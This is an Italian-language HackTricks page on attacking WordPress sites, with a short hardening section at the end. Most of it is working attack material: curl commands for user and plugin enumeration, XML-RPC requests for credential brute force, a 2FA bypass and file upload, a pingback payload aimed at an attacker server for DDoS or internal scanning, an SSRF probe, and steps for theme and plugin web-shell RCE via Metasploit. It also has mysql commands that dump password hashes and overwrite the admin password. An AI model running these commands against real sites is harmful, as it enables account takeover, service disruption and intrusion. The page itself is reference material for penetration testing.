Wordpress

Impara l'hacking AWS da zero a ero con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Usa Trickest per costruire facilmente e automatizzare flussi di lavoro supportati dagli strumenti comunitari più avanzati al mondo. Ottieni l'accesso oggi:

Informazioni di Base

I file caricati vanno a: http://10.10.10.10/wp-content/uploads/2018/08/a.txt I file dei temi possono essere trovati in /wp-content/themes/, quindi se modifichi qualche php del tema per ottenere RCE probabilmente userai quel percorso. Ad esempio: Utilizzando il tema twentytwelve puoi accedere al file 404.php in: /wp-content/themes/twentytwelve/404.php Un'altra URL utile potrebbe essere: /wp-content/themes/default/404.php

In wp-config.php puoi trovare la password di root del database.

Percorsi di accesso predefiniti da controllare: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

File Principali di WordPress

  • index.php

  • license.txt contiene informazioni utili come la versione di WordPress installata.

  • wp-activate.php è utilizzato per il processo di attivazione via email durante la configurazione di un nuovo sito WordPress.

  • Cartelle di accesso (possono essere rinominate per nasconderle):

  • /wp-admin/login.php

  • /wp-admin/wp-login.php

  • /login.php

  • /wp-login.php

  • xmlrpc.php è un file che rappresenta una funzionalità di WordPress che consente di trasmettere dati con HTTP agendo come meccanismo di trasporto e XML come meccanismo di codifica. Questo tipo di comunicazione è stato sostituito dall'API REST di WordPress.

  • La cartella wp-content è la directory principale dove vengono memorizzati i plugin e i temi.

  • wp-content/uploads/ È la directory dove vengono memorizzati i file caricati sulla piattaforma.

  • wp-includes/ Questa è la directory dove sono memorizzati i file core, come certificati, font, file JavaScript e widget.

  • wp-sitemap.xml Nelle versioni di Wordpress 5.5 e successive, Wordpress genera un file XML della mappa del sito con tutti i post pubblici e i tipi di post e tassonomie pubblicamente interrogabili.

Post exploitation

  • Il file wp-config.php contiene le informazioni necessarie a WordPress per connettersi al database come il nome del database, l'host del database, nome utente e password, chiavi di autenticazione e sale, e il prefisso della tabella del database. Questo file di configurazione può anche essere utilizzato per attivare la modalità DEBUG, che può essere utile per il troubleshooting.

Permessi Utenti

  • Amministratore

  • Editore: Pubblica e gestisce i suoi e gli altri post

  • Autore: Pubblica e gestisce i propri post

  • Contributore: Scrive e gestisce i suoi post ma non può pubblicarli

  • Sottoscrittore: Sfoglia i post e modifica il proprio profilo

Enumerazione Passiva

Ottenere la versione di WordPress

Controlla se riesci a trovare i file /license.txt o /readme.html

All'interno del codice sorgente della pagina (esempio da https://wordpress.org/support/article/pages/):

  • grep

curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • File di collegamento CSS

  • File JavaScript

Ottenere Plugin

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Ottenere Temi

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Estrarre versioni in generale

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Usa Trickest per costruire facilmente e automatizzare flussi di lavoro supportati dagli strumenti comunitari più avanzati al mondo. Ottieni l'accesso oggi:

Enumerazione attiva

Plugin e Temi

Probabilmente non sarai in grado di trovare tutti i Plugin e Temi possibili. Per scoprirli tutti, dovrai forzare attivamente un elenco di Plugin e Temi (per fortuna ci sono strumenti automatizzati che contengono questi elenchi).

Utenti

ID Brute

Puoi ottenere utenti validi da un sito WordPress forzando gli ID degli utenti:

curl -s -I -X GET http://blog.example.com/?author=1

Se le risposte sono 200 o 30X, significa che l'id è valido. Se la risposta è 400, allora l'id è invalido.

wp-json

Puoi anche provare a ottenere informazioni sugli utenti effettuando una query:

curl http://blog.example.com/wp-json/wp/v2/users

Un altro endpoint /wp-json/ che può rivelare informazioni sugli utenti è:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Nota che questo endpoint espone solo gli utenti che hanno pubblicato un post. Saranno fornite informazioni solo sugli utenti che hanno questa funzionalità abilitata.

Inoltre, nota che /wp-json/wp/v2/pages potrebbe rivelare gli indirizzi IP.

Enumerazione dei nomi utente per il login

Quando si accede a /wp-login.php il messaggio è diverso se il nome utente indicato esiste o meno.

XML-RPC

Se xml-rpc.php è attivo, è possibile eseguire un attacco di forza bruta alle credenziali o usarlo per lanciare attacchi DoS ad altre risorse. (È possibile automatizzare questo processo usando questo ad esempio).

Per verificare se è attivo, prova ad accedere a /xmlrpc.php e invia questa richiesta:

Check

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Bruteforce delle credenziali

wp.getUserBlogs, wp.getCategories o metaWeblog.getUsersBlogs sono alcuni dei metodi che possono essere utilizzati per forzare le credenziali. Se riesci a trovarne uno qualsiasi, puoi inviare qualcosa del genere:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Il messaggio "Nome utente o password non corretti" all'interno di una risposta codice 200 dovrebbe apparire se le credenziali non sono valide.

Utilizzando le credenziali corrette è possibile caricare un file. Nella risposta apparirà il percorso (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Anche c'è un modo più veloce per forzare le credenziali usando system.multicall poiché è possibile provare diverse credenziali nella stessa richiesta:

Bypass 2FA

Questo metodo è pensato per i programmi e non per gli esseri umani, ed è obsoleto, quindi non supporta il 2FA. Quindi, se hai credenziali valide ma l'ingresso principale è protetto dal 2FA, potresti riuscire ad abusare di xmlrpc.php per effettuare il login con quelle credenziali eludendo il 2FA. Nota che non sarai in grado di eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque riuscire ad ottenere l'RCE come spiega Ippsec in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS o scansione delle porte

Se riesci a trovare il metodo pingback.ping nell'elenco, puoi fare in modo che Wordpress invii una richiesta arbitraria a qualsiasi host/porta. Questo può essere utilizzato per chiedere a migliaia di siti Wordpress di accedere a una posizione specifica (causando così un DDoS in quella posizione) oppure puoi usarlo per fare in modo che Wordpress scansioni una rete interna (puoi indicare qualsiasi porta).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Se ottieni faultCode con un valore maggiore di 0 (17), significa che la porta è aperta.

Dai un'occhiata all'uso di system.multicall nella sezione precedente per imparare come abusare di questo metodo per causare un DDoS.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Questo file di solito esiste sotto la radice del sito Wordpress: /wp-cron.php Quando questo file viene accesso viene eseguita una query MySQL "pesante, quindi potrebbe essere utilizzato dagli attaccanti per causare un DoS. Inoltre, per impostazione predefinita, wp-cron.php viene chiamato ad ogni caricamento della pagina (ogni volta che un client richiede una qualsiasi pagina Wordpress), il che su siti ad alto traffico può causare problemi (DoS).

Si consiglia di disabilitare Wp-Cron e creare un vero cronjob all'interno dell'host che esegua le azioni necessarie a intervalli regolari (senza causare problemi).

/wp-json/oembed/1.0/proxy - SSRF

Prova ad accedere a https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net e il sito Worpress potrebbe inviarti una richiesta.

Questa è la risposta quando non funziona:

SSRF

Questo strumento controlla se il methodName: pingback.ping e per il percorso /wp-json/oembed/1.0/proxy e se esistono, cerca di sfruttarli.

Strumenti Automatici

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Usa Trickest per creare facilmente e automatizzare flussi di lavoro supportati dagli strumenti comunitari più avanzati al mondo. Ottieni l'accesso oggi:

Ottieni l'accesso sovrascrivendo un bit

Più che un vero attacco, questa è una curiosità. Nel CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man potevi invertire 1 bit da qualsiasi file di Wordpress. Quindi potevi invertire la posizione 5389 del file /var/www/html/wp-includes/user.php per annullare l'operazione NOT (!).

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Modifica di un file php dal tema utilizzato (sono necessarie le credenziali dell'amministratore)

Aspetto → Editor del tema → Modello 404 (a destra)

Modificare il contenuto per un php shell:

Cerca su internet come puoi accedere a quella pagina aggiornata. In questo caso devi accedere qui: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Puoi usare:

use exploit/unix/webapp/wp_admin_shell_upload

per ottenere una sessione.

Plugin RCE

Plugin PHP

Potrebbe essere possibile caricare file .php come plugin. Crea il tuo backdoor php utilizzando ad esempio:

Quindi aggiungi un nuovo plugin:

Carica il plugin e premi Installa ora:

Clicca su Procedi:

Probabilmente questo non farà nulla apparentemente, ma se vai su Media, vedrai il tuo shell caricato:

Accedici e vedrai l'URL per eseguire il reverse shell:

Caricamento e attivazione di plugin dannosi

Questo metodo coinvolge l'installazione di un plugin dannoso noto per essere vulnerabile e che può essere sfruttato per ottenere una web shell. Questo processo viene eseguito attraverso il dashboard di WordPress nel seguente modo:

  1. Acquisizione del Plugin: Il plugin viene ottenuto da una fonte come Exploit DB come qui.

  2. Installazione del Plugin:

  • Vai al dashboard di WordPress, quindi vai su Dashboard > Plugin > Carica Plugin.

  • Carica il file zip del plugin scaricato.

  1. Attivazione del Plugin: Una volta che il plugin è stato installato con successo, deve essere attivato attraverso il dashboard.

  2. Sfruttamento:

  • Con il plugin "reflex-gallery" installato e attivato, può essere sfruttato poiché è noto per essere vulnerabile.

  • Il framework Metasploit fornisce uno sfruttamento per questa vulnerabilità. Caricando il modulo appropriato ed eseguendo comandi specifici, può essere stabilita una sessione meterpreter, concedendo l'accesso non autorizzato al sito.

  • Si nota che questo è solo uno dei molti metodi per sfruttare un sito WordPress.

Il contenuto include aiuti visivi che rappresentano i passaggi nel dashboard di WordPress per l'installazione e l'attivazione del plugin. Tuttavia, è importante notare che sfruttare le vulnerabilità in questo modo è illegale ed anti-etico senza l'autorizzazione adeguata. Queste informazioni dovrebbero essere utilizzate in modo responsabile e solo in un contesto legale, come il penetration testing con autorizzazione esplicita.

Per passaggi più dettagliati controlla: https://www.hackingarticles.in/wordpress-reverse-shell/**

Post Esploitation

Estrai nomi utente e password:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Cambia la password dell'amministratore:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Protezione di WordPress

Aggiornamenti Regolari

Assicurati che WordPress, i plugin e i temi siano aggiornati. Conferma inoltre che l'aggiornamento automatico sia abilitato in wp-config.php:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Inoltre, installa solo plugin e temi WordPress affidabili.

Plugin di Sicurezza

Altre Raccomandazioni

  • Rimuovi l'utente admin predefinito

  • Utilizza password sicure e 2FA

  • Rivedi periodicamente i permessi degli utenti

  • Limita i tentativi di accesso per prevenire attacchi di Forza Bruta

  • Rinomina il file wp-admin.php e permetti l'accesso solo internamente o da determinati indirizzi IP.

Utilizza Trickest per creare e automatizzare flussi di lavoro con gli strumenti comunitari più avanzati al mondo. Ottieni l'Accesso Oggi:

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated